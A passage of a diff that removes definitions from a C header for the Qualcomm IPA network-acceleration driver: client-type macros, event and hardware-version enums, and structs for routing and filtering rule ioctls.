-#define IPA_CLIENT_IS_Q6_PROD(client) \
- ((client) == IPA_CLIENT_Q6_LAN_PROD || \
- (client) == IPA_CLIENT_Q6_WAN_PROD || \
- (client) == IPA_CLIENT_Q6_CMD_PROD || \
- (client) == IPA_CLIENT_Q6_DECOMP_PROD || \
- (client) == IPA_CLIENT_Q6_DECOMP2_PROD)
-
-#define IPA_CLIENT_IS_Q6_NON_ZIP_CONS(client) \
- ((client) == IPA_CLIENT_Q6_LAN_CONS || \
- (client) == IPA_CLIENT_Q6_WAN_CONS || \
- (client) == IPA_CLIENT_Q6_DUN_CONS || \
- (client) == IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS)
-
-#define IPA_CLIENT_IS_Q6_ZIP_CONS(client) \
- ((client) == IPA_CLIENT_Q6_DECOMP_CONS || \
- (client) == IPA_CLIENT_Q6_DECOMP2_CONS)
-
-#define IPA_CLIENT_IS_Q6_NON_ZIP_PROD(client) \
- ((client) == IPA_CLIENT_Q6_LAN_PROD || \
- (client) == IPA_CLIENT_Q6_WAN_PROD || \
- (client) == IPA_CLIENT_Q6_CMD_PROD)
-
-#define IPA_CLIENT_IS_Q6_ZIP_PROD(client) \
- ((client) == IPA_CLIENT_Q6_DECOMP_PROD || \
- (client) == IPA_CLIENT_Q6_DECOMP2_PROD)
-
-#define IPA_CLIENT_IS_MEMCPY_DMA_CONS(client) \
- ((client) == IPA_CLIENT_MEMCPY_DMA_SYNC_CONS || \
- (client) == IPA_CLIENT_MEMCPY_DMA_ASYNC_CONS)
-
-#define IPA_CLIENT_IS_MEMCPY_DMA_PROD(client) \
- ((client) == IPA_CLIENT_MEMCPY_DMA_SYNC_PROD || \
- (client) == IPA_CLIENT_MEMCPY_DMA_ASYNC_PROD)
-
-#define IPA_CLIENT_IS_MHI_CONS(client) \
- ((client) == IPA_CLIENT_MHI_CONS)
-
-#define IPA_CLIENT_IS_MHI(client) \
- ((client) == IPA_CLIENT_MHI_CONS || \
- (client) == IPA_CLIENT_MHI_PROD)
-
-#define IPA_CLIENT_IS_TEST_PROD(client) \
- ((client) == IPA_CLIENT_TEST_PROD || \
- (client) == IPA_CLIENT_TEST1_PROD || \
- (client) == IPA_CLIENT_TEST2_PROD || \
- (client) == IPA_CLIENT_TEST3_PROD || \
- (client) == IPA_CLIENT_TEST4_PROD)
-
-#define IPA_CLIENT_IS_TEST_CONS(client) \
- ((client) == IPA_CLIENT_TEST_CONS || \
- (client) == IPA_CLIENT_TEST1_CONS || \
- (client) == IPA_CLIENT_TEST2_CONS || \
- (client) == IPA_CLIENT_TEST3_CONS || \
- (client) == IPA_CLIENT_TEST4_CONS)
-
-#define IPA_CLIENT_IS_TEST(client) \
- (IPA_CLIENT_IS_TEST_PROD(client) || IPA_CLIENT_IS_TEST_CONS(client))
-
-/**
- * enum ipa_ip_type - Address family: IPv4 or IPv6
- */
-enum ipa_ip_type {
- IPA_IP_v4,
- IPA_IP_v6,
- IPA_IP_MAX
-};
-
-/**
- * enum ipa_rule_type - Type of routing or filtering rule
- * Hashable: Rule will be located at the hashable tables
- * Non_Hashable: Rule will be located at the non-hashable tables
- */
-enum ipa_rule_type {
- IPA_RULE_HASHABLE,
- IPA_RULE_NON_HASHABLE,
- IPA_RULE_TYPE_MAX
-};
-
-/**
- * enum ipa_flt_action - action field of filtering rule
- *
- * Pass to routing: 5'd0
- * Pass to source NAT: 5'd1
- * Pass to destination NAT: 5'd2
- * Pass to default output pipe (e.g., Apps or Modem): 5'd3
- */
-enum ipa_flt_action {
- IPA_PASS_TO_ROUTING,
- IPA_PASS_TO_SRC_NAT,
- IPA_PASS_TO_DST_NAT,
- IPA_PASS_TO_EXCEPTION
-};
-
-/**
- * enum ipa_wlan_event - Events for wlan client
- *
- * wlan client connect: New wlan client connected
- * wlan client disconnect: wlan client disconnected
- * wlan client power save: wlan client moved to power save
- * wlan client normal: wlan client moved out of power save
- * sw routing enable: ipa routing is disabled
- * sw routing disable: ipa routing is enabled
- * wlan ap connect: wlan AP(access point) is up
- * wlan ap disconnect: wlan AP(access point) is down
- * wlan sta connect: wlan STA(station) is up
- * wlan sta disconnect: wlan STA(station) is down
- * wlan client connect ex: new wlan client connected
- * wlan scc switch: wlan interfaces in scc mode
- * wlan mcc switch: wlan interfaces in mcc mode
- * wlan wdi enable: wdi data path completed
- * wlan wdi disable: wdi data path teardown
- */
-enum ipa_wlan_event {
- WLAN_CLIENT_CONNECT,
- WLAN_CLIENT_DISCONNECT,
- WLAN_CLIENT_POWER_SAVE_MODE,
- WLAN_CLIENT_NORMAL_MODE,
- SW_ROUTING_ENABLE,
- SW_ROUTING_DISABLE,
- WLAN_AP_CONNECT,
- WLAN_AP_DISCONNECT,
- WLAN_STA_CONNECT,
- WLAN_STA_DISCONNECT,
- WLAN_CLIENT_CONNECT_EX,
- WLAN_SWITCH_TO_SCC,
- WLAN_SWITCH_TO_MCC,
- WLAN_WDI_ENABLE,
- WLAN_WDI_DISABLE,
- IPA_WLAN_EVENT_MAX
-};
-
-/**
- * enum ipa_wan_event - Events for wan client
- *
- * wan default route add/del
- * wan embms connect: New wan embms interface connected
- */
-enum ipa_wan_event {
- WAN_UPSTREAM_ROUTE_ADD = IPA_WLAN_EVENT_MAX,
- WAN_UPSTREAM_ROUTE_DEL,
- WAN_EMBMS_CONNECT,
- WAN_XLAT_CONNECT,
- IPA_WAN_EVENT_MAX
-};
-
-enum ipa_ecm_event {
- ECM_CONNECT = IPA_WAN_EVENT_MAX,
- ECM_DISCONNECT,
- IPA_ECM_EVENT_MAX,
-};
-
-enum ipa_tethering_stats_event {
- IPA_TETHERING_STATS_UPDATE_STATS = IPA_ECM_EVENT_MAX,
- IPA_TETHERING_STATS_UPDATE_NETWORK_STATS,
- IPA_TETHERING_STATS_EVENT_MAX,
- IPA_EVENT_MAX_NUM = IPA_TETHERING_STATS_EVENT_MAX
-};
-
-#define IPA_EVENT_MAX ((int)IPA_EVENT_MAX_NUM)
-
-/**
- * enum ipa_rm_resource_name - IPA RM clients identification names
- *
- * Add new mapping to ipa_rm_prod_index() / ipa_rm_cons_index()
- * when adding new entry to this enum.
- */
-enum ipa_rm_resource_name {
- IPA_RM_RESOURCE_PROD = 0,
- IPA_RM_RESOURCE_Q6_PROD = IPA_RM_RESOURCE_PROD,
- IPA_RM_RESOURCE_USB_PROD,
- IPA_RM_RESOURCE_USB_DPL_DUMMY_PROD,
- IPA_RM_RESOURCE_HSIC_PROD,
- IPA_RM_RESOURCE_STD_ECM_PROD,
- IPA_RM_RESOURCE_RNDIS_PROD,
- IPA_RM_RESOURCE_WWAN_0_PROD,
- IPA_RM_RESOURCE_WLAN_PROD,
- IPA_RM_RESOURCE_ODU_ADAPT_PROD,
- IPA_RM_RESOURCE_MHI_PROD,
- IPA_RM_RESOURCE_PROD_MAX,
-
- IPA_RM_RESOURCE_Q6_CONS = IPA_RM_RESOURCE_PROD_MAX,
- IPA_RM_RESOURCE_USB_CONS,
- IPA_RM_RESOURCE_USB_DPL_CONS,
- IPA_RM_RESOURCE_HSIC_CONS,
- IPA_RM_RESOURCE_WLAN_CONS,
- IPA_RM_RESOURCE_APPS_CONS,
- IPA_RM_RESOURCE_ODU_ADAPT_CONS,
- IPA_RM_RESOURCE_MHI_CONS,
- IPA_RM_RESOURCE_MAX
-};
-
-/**
- * enum ipa_hw_type - IPA hardware version type
- * @IPA_HW_None: IPA hardware version not defined
- * @IPA_HW_v1_0: IPA hardware version 1.0
- * @IPA_HW_v1_1: IPA hardware version 1.1
- * @IPA_HW_v2_0: IPA hardware version 2.0
- * @IPA_HW_v2_1: IPA hardware version 2.1
- * @IPA_HW_v2_5: IPA hardware version 2.5
- * @IPA_HW_v2_6: IPA hardware version 2.6
- * @IPA_HW_v2_6L: IPA hardware version 2.6L
- * @IPA_HW_v3_0: IPA hardware version 3.0
- */
-enum ipa_hw_type {
- IPA_HW_None = 0,
- IPA_HW_v1_0 = 1,
- IPA_HW_v1_1 = 2,
- IPA_HW_v2_0 = 3,
- IPA_HW_v2_1 = 4,
- IPA_HW_v2_5 = 5,
- IPA_HW_v2_6 = IPA_HW_v2_5,
- IPA_HW_v2_6L = 6,
- IPA_HW_v3_0 = 10,
- IPA_HW_v3_1 = 11,
- IPA_HW_MAX
-};
-
-/**
- * struct ipa_rule_attrib - attributes of a routing/filtering
- * rule, all in LE
- * @attrib_mask: what attributes are valid
- * @src_port_lo: low port of src port range
- * @src_port_hi: high port of src port range
- * @dst_port_lo: low port of dst port range
- * @dst_port_hi: high port of dst port range
- * @type: ICMP/IGMP type
- * @code: ICMP/IGMP code
- * @spi: IPSec SPI
- * @src_port: exact src port
- * @dst_port: exact dst port
- * @meta_data: meta-data val
- * @meta_data_mask: meta-data mask
- * @u.v4.tos: type of service
- * @u.v4.protocol: protocol
- * @u.v4.src_addr: src address value
- * @u.v4.src_addr_mask: src address mask
- * @u.v4.dst_addr: dst address value
- * @u.v4.dst_addr_mask: dst address mask
- * @u.v6.tc: traffic class
- * @u.v6.flow_label: flow label
- * @u.v6.next_hdr: next header
- * @u.v6.src_addr: src address val
- * @u.v6.src_addr_mask: src address mask
- * @u.v6.dst_addr: dst address val
- * @u.v6.dst_addr_mask: dst address mask
- */
-struct ipa_rule_attrib {
- uint32_t attrib_mask;
- uint16_t src_port_lo;
- uint16_t src_port_hi;
- uint16_t dst_port_lo;
- uint16_t dst_port_hi;
- uint8_t type;
- uint8_t code;
- uint8_t tos_value;
- uint8_t tos_mask;
- uint32_t spi;
- uint16_t src_port;
- uint16_t dst_port;
- uint32_t meta_data;
- uint32_t meta_data_mask;
- uint8_t src_mac_addr[ETH_ALEN];
- uint8_t src_mac_addr_mask[ETH_ALEN];
- uint8_t dst_mac_addr[ETH_ALEN];
- uint8_t dst_mac_addr_mask[ETH_ALEN];
- uint16_t ether_type;
- union {
- struct {
- uint8_t tos;
- uint8_t protocol;
- uint32_t src_addr;
- uint32_t src_addr_mask;
- uint32_t dst_addr;
- uint32_t dst_addr_mask;
- } v4;
- struct {
- uint8_t tc;
- uint32_t flow_label;
- uint8_t next_hdr;
- uint32_t src_addr[4];
- uint32_t src_addr_mask[4];
- uint32_t dst_addr[4];
- uint32_t dst_addr_mask[4];
- } v6;
- } u;
-};
-
-/*! @brief The maximum number of Mask Equal 32 Eqns */
-#define IPA_IPFLTR_NUM_MEQ_32_EQNS 2
-
-/*! @brief The maximum number of IHL offset Mask Equal 32 Eqns */
-#define IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS 2
-
-/*! @brief The maximum number of Mask Equal 128 Eqns */
-#define IPA_IPFLTR_NUM_MEQ_128_EQNS 2
-
-/*! @brief The maximum number of IHL offset Range Check 16 Eqns */
-#define IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS 2
-
-/*! @brief Offset and 16 bit comparison equation */
-struct ipa_ipfltr_eq_16 {
- int8_t offset;
- uint16_t value;
-};
-
-/*! @brief Offset and 32 bit comparison equation */
-struct ipa_ipfltr_eq_32 {
- int8_t offset;
- uint32_t value;
-};
-
-/*! @brief Offset and 128 bit masked comparison equation */
-struct ipa_ipfltr_mask_eq_128 {
- int8_t offset;
- uint8_t mask[16];
- uint8_t value[16];
-};
-
-/*! @brief Offset and 32 bit masked comparison equation */
-struct ipa_ipfltr_mask_eq_32 {
- int8_t offset;
- uint32_t mask;
- uint32_t value;
-};
-
-/*! @brief Equation for identifying a range. Ranges are inclusive */
-struct ipa_ipfltr_range_eq_16 {
- int8_t offset;
- uint16_t range_low;
- uint16_t range_high;
-};
-
-/*! @brief Rule equations which are set according to DS filter installation */
-struct ipa_ipfltri_rule_eq {
- /*! 16-bit Bitmask to indicate how many eqs are valid in this rule */
- uint16_t rule_eq_bitmap;
- /*! Specifies if a type of service check rule is present */
- uint8_t tos_eq_present;
- /*! The value to check against the type of service (ipv4) field */
- uint8_t tos_eq;
- /*! Specifies if a protocol check rule is present */
- uint8_t protocol_eq_present;
- /*! The value to check against the protocol (ipv6) field */
- uint8_t protocol_eq;
- /*! The number of ip header length offset 16 bit range check
- * rules in this rule */
- uint8_t num_ihl_offset_range_16;
- /*! An array of the registered ip header length offset 16 bit
- * range check rules */
- struct ipa_ipfltr_range_eq_16
- ihl_offset_range_16[IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS];
- /*! The number of mask equal 32 rules present in this rule */
- uint8_t num_offset_meq_32;
- /*! An array of all the possible mask equal 32 rules in this rule */
- struct ipa_ipfltr_mask_eq_32
- offset_meq_32[IPA_IPFLTR_NUM_MEQ_32_EQNS];
- /*! Specifies if the traffic class rule is present in this rule */
- uint8_t tc_eq_present;
- /*! The value to check the traffic class (ipv4) field against */
- uint8_t tc_eq;
- /*! Specifies if the flow equals rule is present in this rule */
- uint8_t fl_eq_present;
- /*! The value to check the flow (ipv6) field against */
- uint32_t fl_eq;
- /*! The number of ip header length offset 16 bit equations in this
- * rule */
- uint8_t ihl_offset_eq_16_present;
- /*! The ip header length offset 16 bit equation */
- struct ipa_ipfltr_eq_16 ihl_offset_eq_16;
- /*! The number of ip header length offset 32 bit equations in this
- * rule */
- uint8_t ihl_offset_eq_32_present;
- /*! The ip header length offset 32 bit equation */
- struct ipa_ipfltr_eq_32 ihl_offset_eq_32;
- /*! The number of ip header length offset 32 bit mask equations in
- * this rule */
- uint8_t num_ihl_offset_meq_32;
- /*! The ip header length offset 32 bit mask equation */
- struct ipa_ipfltr_mask_eq_32
- ihl_offset_meq_32[IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS];
- /*! The number of ip header length offset 128 bit equations in this
- * rule */
- uint8_t num_offset_meq_128;
- /*! The ip header length offset 128 bit equation */
- struct ipa_ipfltr_mask_eq_128
- offset_meq_128[IPA_IPFLTR_NUM_MEQ_128_EQNS];
- /*! The metadata 32 bit masked comparison equation present or not */
- /* Metadata based rules are added internally by IPA driver */
- uint8_t metadata_meq32_present;
- /*! The metadata 32 bit masked comparison equation */
- struct ipa_ipfltr_mask_eq_32 metadata_meq32;
- /*! Specifies if the Fragment equation is present in this rule */
- uint8_t ipv4_frag_eq_present;
-};
-
-/**
- * struct ipa_flt_rule - attributes of a filtering rule
- * @retain_hdr: bool switch to instruct IPA core to add back to the packet
- * the header removed as part of header removal
- * @to_uc: bool switch to pass packet to micro-controller
- * @action: action field
- * @rt_tbl_hdl: handle of table from "get"
- * @attrib: attributes of the rule
- * @eq_attrib: attributes of the rule in equation form (valid when
- * eq_attrib_type is true)
- * @rt_tbl_idx: index of RT table referred to by filter rule (valid when
- * eq_attrib_type is true and non-exception action)
- * @eq_attrib_type: true if equation level form used to specify attributes
- * @max_prio: bool switch. is this rule with Max priority? meaning on rule hit,
- * IPA will use the rule and will not look for other rules that may have
- * higher priority
- * @hashable: bool switch. is this rule hashable or not?
- * ipa uses hashable rules to cache their hit results to be used in
- * consecutive packets
- * @rule_id: rule_id to be assigned to the filter rule. In case client specifies
- * rule_id as 0 the driver will assign a new rule_id
- */
-struct ipa_flt_rule {
- uint8_t retain_hdr;
- uint8_t to_uc;
- enum ipa_flt_action action;
- uint32_t rt_tbl_hdl;
- struct ipa_rule_attrib attrib;
- struct ipa_ipfltri_rule_eq eq_attrib;
- uint32_t rt_tbl_idx;
- uint8_t eq_attrib_type;
- uint8_t max_prio;
- uint8_t hashable;
- uint16_t rule_id;
-};
-
-/**
- * enum ipa_hdr_l2_type - L2 header type
- * IPA_HDR_L2_NONE: L2 header which isn't Ethernet II and isn't 802_3
- * IPA_HDR_L2_ETHERNET_II: L2 header of type Ethernet II
- * IPA_HDR_L2_802_3: L2 header of type 802_3
- */
-enum ipa_hdr_l2_type {
- IPA_HDR_L2_NONE,
- IPA_HDR_L2_ETHERNET_II,
- IPA_HDR_L2_802_3,
- IPA_HDR_L2_MAX,
-};
-
-/**
- * enum ipa_hdr_l2_type - Processing context type
- * IPA_HDR_PROC_NONE: No processing context
- * IPA_HDR_PROC_ETHII_TO_ETHII: Process Ethernet II to Ethernet II
- * IPA_HDR_PROC_ETHII_TO_802_3: Process Ethernet II to 802_3
- * IPA_HDR_PROC_802_3_TO_ETHII: Process 802_3 to Ethernet II
- * IPA_HDR_PROC_802_3_TO_802_3: Process 802_3 to 802_3
- */
-enum ipa_hdr_proc_type {
- IPA_HDR_PROC_NONE,
- IPA_HDR_PROC_ETHII_TO_ETHII,
- IPA_HDR_PROC_ETHII_TO_802_3,
- IPA_HDR_PROC_802_3_TO_ETHII,
- IPA_HDR_PROC_802_3_TO_802_3,
- IPA_HDR_PROC_MAX,
-};
-
-/**
- * struct ipa_rt_rule - attributes of a routing rule
- * @dst: dst "client"
- * @hdr_hdl: handle to the dynamic header
- it is not an index or an offset
- * @hdr_proc_ctx_hdl: handle to header processing context. if it is provided
- hdr_hdl shall be 0
- * @attrib: attributes of the rule
- * @max_prio: bool switch. is this rule with Max priority? meaning on rule hit,
- * IPA will use the rule and will not look for other rules that may have
- * higher priority
- * @hashable: bool switch. is this rule hashable or not?
- * ipa uses hashable rules to cache their hit results to be used in
- * consecutive packets
- * @retain_hdr: bool switch to instruct IPA core to add back to the packet
- * the header removed as part of header removal
- */
-struct ipa_rt_rule {
- enum ipa_client_type dst;
- uint32_t hdr_hdl;
- uint32_t hdr_proc_ctx_hdl;
- struct ipa_rule_attrib attrib;
- uint8_t max_prio;
- uint8_t hashable;
- uint8_t retain_hdr;
-};
-
-/**
- * struct ipa_hdr_add - header descriptor includes in and out
- * parameters
- * @name: name of the header
- * @hdr: actual header to be inserted
- * @hdr_len: size of above header
- * @type: l2 header type
- * @is_partial: header not fully specified
- * @hdr_hdl: out parameter, handle to header, valid when status is 0
- * @status: out parameter, status of header add operation,
- * 0 for success,
- * -1 for failure
- * @is_eth2_ofst_valid: is eth2_ofst field valid?
- * @eth2_ofst: offset to start of Ethernet-II/802.3 header
- */
-struct ipa_hdr_add {
- char name[IPA_RESOURCE_NAME_MAX];
- uint8_t hdr[IPA_HDR_MAX_SIZE];
- uint8_t hdr_len;
- enum ipa_hdr_l2_type type;
- uint8_t is_partial;
- uint32_t hdr_hdl;
- int status;
- uint8_t is_eth2_ofst_valid;
- uint16_t eth2_ofst;
-};
-
-/**
- * struct ipa_ioc_add_hdr - header addition parameters (support
- * multiple headers and commit)
- * @commit: should headers be written to IPA HW also?
- * @num_hdrs: num of headers that follow
- * @ipa_hdr_add hdr: all headers need to go here back to
- * back, no pointers
- */
-struct ipa_ioc_add_hdr {
- uint8_t commit;
- uint8_t num_hdrs;
- struct ipa_hdr_add hdr[0];
-};
-
-/**
- * struct ipa_hdr_proc_ctx_add - processing context descriptor includes
- * in and out parameters
- * @type: processing context type
- * @hdr_hdl: in parameter, handle to header
- * @proc_ctx_hdl: out parameter, handle to proc_ctx, valid when status is 0
- * @status: out parameter, status of header add operation,
- * 0 for success,
- * -1 for failure
- */
-struct ipa_hdr_proc_ctx_add {
- enum ipa_hdr_proc_type type;
- uint32_t hdr_hdl;
- uint32_t proc_ctx_hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_add_hdr - processing context addition parameters (support
- * multiple processing context and commit)
- * @commit: should processing context be written to IPA HW also?
- * @num_proc_ctxs: num of processing context that follow
- * @proc_ctx: all processing context need to go here back to
- * back, no pointers
- */
-struct ipa_ioc_add_hdr_proc_ctx {
- uint8_t commit;
- uint8_t num_proc_ctxs;
- struct ipa_hdr_proc_ctx_add proc_ctx[0];
-};
-
-/**
- * struct ipa_ioc_copy_hdr - retrieve a copy of the specified
- * header - caller can then derive the complete header
- * @name: name of the header resource
- * @hdr: out parameter, contents of specified header,
- * valid only when ioctl return val is non-negative
- * @hdr_len: out parameter, size of above header
- * valid only when ioctl return val is non-negative
- * @type: l2 header type
- * valid only when ioctl return val is non-negative
- * @is_partial: out parameter, indicates whether specified header is partial
- * valid only when ioctl return val is non-negative
- * @is_eth2_ofst_valid: is eth2_ofst field valid?
- * @eth2_ofst: offset to start of Ethernet-II/802.3 header
- */
-struct ipa_ioc_copy_hdr {
- char name[IPA_RESOURCE_NAME_MAX];
- uint8_t hdr[IPA_HDR_MAX_SIZE];
- uint8_t hdr_len;
- enum ipa_hdr_l2_type type;
- uint8_t is_partial;
- uint8_t is_eth2_ofst_valid;
- uint16_t eth2_ofst;
-};
-
-/**
- * struct ipa_ioc_get_hdr - header entry lookup parameters, if lookup was
- * successful caller must call put to release the reference count when done
- * @name: name of the header resource
- * @hdl: out parameter, handle of header entry
- * valid only when ioctl return val is non-negative
- */
-struct ipa_ioc_get_hdr {
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t hdl;
-};
-
-/**
- * struct ipa_hdr_del - header descriptor includes in and out
- * parameters
- *
- * @hdl: handle returned from header add operation
- * @status: out parameter, status of header remove operation,
- * 0 for success,
- * -1 for failure
- */
-struct ipa_hdr_del {
- uint32_t hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_del_hdr - header deletion parameters (support
- * multiple headers and commit)
- * @commit: should headers be removed from IPA HW also?
- * @num_hdls: num of headers being removed
- * @ipa_hdr_del hdl: all handles need to go here back to back, no pointers
- */
-struct ipa_ioc_del_hdr {
- uint8_t commit;
- uint8_t num_hdls;
- struct ipa_hdr_del hdl[0];
-};
-
-/**
- * struct ipa_hdr_proc_ctx_del - processing context descriptor includes
- * in and out parameters
- * @hdl: handle returned from processing context add operation
- * @status: out parameter, status of header remove operation,
- * 0 for success,
- * -1 for failure
- */
-struct ipa_hdr_proc_ctx_del {
- uint32_t hdl;
- int status;
-};
-
-/**
- * ipa_ioc_del_hdr_proc_ctx - processing context deletion parameters (support
- * multiple headers and commit)
- * @commit: should processing contexts be removed from IPA HW also?
- * @num_hdls: num of processing contexts being removed
- * @ipa_hdr_proc_ctx_del hdl: all handles need to go here back to back,
- * no pointers
- */
-struct ipa_ioc_del_hdr_proc_ctx {
- uint8_t commit;
- uint8_t num_hdls;
- struct ipa_hdr_proc_ctx_del hdl[0];
-};
-
-/**
- * struct ipa_rt_rule_add - routing rule descriptor includes in
- * and out parameters
- * @rule: actual rule to be added
- * @at_rear: add at back of routing table, it is NOT possible to add rules at
- * the rear of the "default" routing tables
- * @rt_rule_hdl: output parameter, handle to rule, valid when status is 0
- * @status: output parameter, status of routing rule add operation,
- * 0 for success,
- * -1 for failure
- */
-struct ipa_rt_rule_add {
- struct ipa_rt_rule rule;
- uint8_t at_rear;
- uint32_t rt_rule_hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_add_rt_rule - routing rule addition parameters (supports
- * multiple rules and commit);
- *
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @rt_tbl_name: name of routing table resource
- * @num_rules: number of routing rules that follow
- * @ipa_rt_rule_add rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_add_rt_rule {
- uint8_t commit;
- enum ipa_ip_type ip;
- char rt_tbl_name[IPA_RESOURCE_NAME_MAX];
- uint8_t num_rules;
- struct ipa_rt_rule_add rules[0];
-};
-
-/**
- * struct ipa_ioc_add_rt_rule_after - routing rule addition after a specific
- * rule parameters(supports multiple rules and commit);
- *
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @rt_tbl_name: name of routing table resource
- * @num_rules: number of routing rules that follow
- * @add_after_hdl: the rules will be added after this specific rule
- * @ipa_rt_rule_add rules: all rules need to go back to back here, no pointers
- * at_rear field will be ignored when using this IOCTL
- */
-struct ipa_ioc_add_rt_rule_after {
- uint8_t commit;
- enum ipa_ip_type ip;
- char rt_tbl_name[IPA_RESOURCE_NAME_MAX];
- uint8_t num_rules;
- uint32_t add_after_hdl;
- struct ipa_rt_rule_add rules[0];
-};
-
-/**
- * struct ipa_rt_rule_mdfy - routing rule descriptor includes
- * in and out parameters
- * @rule: actual rule to be added
- * @rt_rule_hdl: handle to rule which supposed to modify
- * @status: output parameter, status of routing rule modify operation,
- * 0 for success,
- * -1 for failure
- *
- */
-struct ipa_rt_rule_mdfy {
- struct ipa_rt_rule rule;
- uint32_t rt_rule_hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_mdfy_rt_rule - routing rule modify parameters (supports
- * multiple rules and commit)
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @num_rules: number of routing rules that follow
- * @rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_mdfy_rt_rule {
- uint8_t commit;
- enum ipa_ip_type ip;
- uint8_t num_rules;
- struct ipa_rt_rule_mdfy rules[0];
-};
-
-/**
- * struct ipa_rt_rule_del - routing rule descriptor includes in
- * and out parameters
- * @hdl: handle returned from route rule add operation
- * @status: output parameter, status of route rule delete operation,
- * 0 for success,
- * -1 for failure
- */
-struct ipa_rt_rule_del {
- uint32_t hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_del_rt_rule - routing rule deletion parameters (supports
- * multiple headers and commit)
- * @commit: should rules be removed from IPA HW also?
- * @ip: IP family of rules
- * @num_hdls: num of rules being removed
- * @ipa_rt_rule_del hdl: all handles need to go back to back here, no pointers
- */
-struct ipa_ioc_del_rt_rule {
- uint8_t commit;
- enum ipa_ip_type ip;
- uint8_t num_hdls;
- struct ipa_rt_rule_del hdl[0];
-};
-
-/**
- * struct ipa_ioc_get_rt_tbl_indx - routing table index lookup parameters
- * @ip: IP family of table
- * @name: name of routing table resource
- * @index: output parameter, routing table index, valid only when ioctl
- * return val is non-negative
- */
-struct ipa_ioc_get_rt_tbl_indx {
- enum ipa_ip_type ip;
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t idx;
-};
-
-/**
- * struct ipa_flt_rule_add - filtering rule descriptor includes
- * in and out parameters
- * @rule: actual rule to be added
- * @at_rear: add at back of filtering table?
- * @flt_rule_hdl: out parameter, handle to rule, valid when status is 0
- * @status: output parameter, status of filtering rule add operation,
- * 0 for success,
- * -1 for failure
- *
- */
-struct ipa_flt_rule_add {
- struct ipa_flt_rule rule;
- uint8_t at_rear;
- uint32_t flt_rule_hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_add_flt_rule - filtering rule addition parameters (supports
- * multiple rules and commit)
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @ep: which "clients" pipe does this rule apply to?
- * valid only when global is 0
- * @global: does this apply to global filter table of specific IP family
- * @num_rules: number of filtering rules that follow
- * @rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_add_flt_rule {
- uint8_t commit;
- enum ipa_ip_type ip;
- enum ipa_client_type ep;
- uint8_t global;
- uint8_t num_rules;
- struct ipa_flt_rule_add rules[0];
-};
-
-/**
- * struct ipa_ioc_add_flt_rule_after - filtering rule addition after specific
- * rule parameters (supports multiple rules and commit)
- * all rules MUST be added to same table
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @ep: which "clients" pipe does this rule apply to?
- * @num_rules: number of filtering rules that follow
- * @add_after_hdl: rules will be added after the rule with this handle
- * @rules: all rules need to go back to back here, no pointers. at rear field
- * is ignored when using this IOCTL
- */
-struct ipa_ioc_add_flt_rule_after {
- uint8_t commit;
- enum ipa_ip_type ip;
- enum ipa_client_type ep;
- uint8_t num_rules;
- uint32_t add_after_hdl;
- struct ipa_flt_rule_add rules[0];
-};
-
-/**
- * struct ipa_flt_rule_mdfy - filtering rule descriptor includes
- * in and out parameters
- * @rule: actual rule to be added
- * @flt_rule_hdl: handle to rule
- * @status: output parameter, status of filtering rule modify operation,
- * 0 for success,
- * -1 for failure
- *
- */
-struct ipa_flt_rule_mdfy {
- struct ipa_flt_rule rule;
- uint32_t rule_hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_mdfy_flt_rule - filtering rule modify parameters (supports
- * multiple rules and commit)
- * @commit: should rules be written to IPA HW also?
- * @ip: IP family of rule
- * @num_rules: number of filtering rules that follow
- * @rules: all rules need to go back to back here, no pointers
- */
-struct ipa_ioc_mdfy_flt_rule {
- uint8_t commit;
- enum ipa_ip_type ip;
- uint8_t num_rules;
- struct ipa_flt_rule_mdfy rules[0];
-};
-
-/**
- * struct ipa_flt_rule_del - filtering rule descriptor includes
- * in and out parameters
- *
- * @hdl: handle returned from filtering rule add operation
- * @status: output parameter, status of filtering rule delete operation,
- * 0 for success,
- * -1 for failure
- */
-struct ipa_flt_rule_del {
- uint32_t hdl;
- int status;
-};
-
-/**
- * struct ipa_ioc_del_flt_rule - filtering rule deletion parameters (supports
- * multiple headers and commit)
- * @commit: should rules be removed from IPA HW also?
- * @ip: IP family of rules
- * @num_hdls: num of rules being removed
- * @hdl: all handles need to go back to back here, no pointers
- */
-struct ipa_ioc_del_flt_rule {
- uint8_t commit;
- enum ipa_ip_type ip;
- uint8_t num_hdls;
- struct ipa_flt_rule_del hdl[0];
-};
-
-/**
- * struct ipa_ioc_get_rt_tbl - routing table lookup parameters, if lookup was
- * successful caller must call put to release the reference
- * count when done
- * @ip: IP family of table
- * @name: name of routing table resource
- * @htl: output parameter, handle of routing table, valid only when ioctl
- * return val is non-negative
- */
-struct ipa_ioc_get_rt_tbl {
- enum ipa_ip_type ip;
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t hdl;
-};
-
-/**
- * struct ipa_ioc_query_intf - used to lookup number of tx and
- * rx properties of interface
- * @name: name of interface
- * @num_tx_props: output parameter, number of tx properties
- * valid only when ioctl return val is non-negative
- * @num_rx_props: output parameter, number of rx properties
- * valid only when ioctl return val is non-negative
- * @num_ext_props: output parameter, number of ext properties
- * valid only when ioctl return val is non-negative
- * @excp_pipe: exception packets of this interface should be
- * routed to this pipe
- */
-struct ipa_ioc_query_intf {
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t num_tx_props;
- uint32_t num_rx_props;
- uint32_t num_ext_props;
- enum ipa_client_type excp_pipe;
